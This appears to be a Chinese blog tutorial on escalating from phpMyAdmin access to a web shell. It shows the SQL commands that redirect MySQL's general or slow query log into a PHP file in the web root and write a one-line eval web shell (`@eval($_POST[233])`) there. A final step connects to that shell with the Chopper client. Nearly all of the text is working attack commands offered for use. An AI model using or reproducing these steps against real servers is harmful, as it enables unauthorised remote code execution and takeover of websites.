phpMyAdmin提权

条件

1、能成功登录到phpMyAdmin里去
2、有读、写、执行的权限
3、知道网站的绝对路径

操作步骤

1、先爆数据库安装路径

show global variables like "%datadir%";

在这里插入图片描述
因为phpstudy时集成环境,所以网站物理路径是C:\phpstudy\WWW

2、利用日志文件或备份文件来写入一句话

日志文件

1、开启日志

set global general_log = "ON";

2、修改日志文件保存的位置

set global general_log_file="C:\\phpstudy_pro\\WWW\\yjh.php";

3、写入一句话

select '<?php @eval($_POST[233]);?>';

4、查看修改后的信息(随便)

show variables like "%general%";

在这里插入图片描述

备份文件

1、开启备份日志

set global slow_query_log="ON";

2、修改备份日志文件保存的位置

set global slow_query_log_file='C:\\phpStudy2016\\WWW\\yjh.php';

3、写入一句话
备份的,我试了,需要用延迟才能成功注入

select 99999999999999999,'<?php @eval($_POST[233]);?>' or sleep(11);

4、查看修改后的信息(随便)

show variables like "%slow_query_log%";

在这里插入图片描述

3、菜刀连接

在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值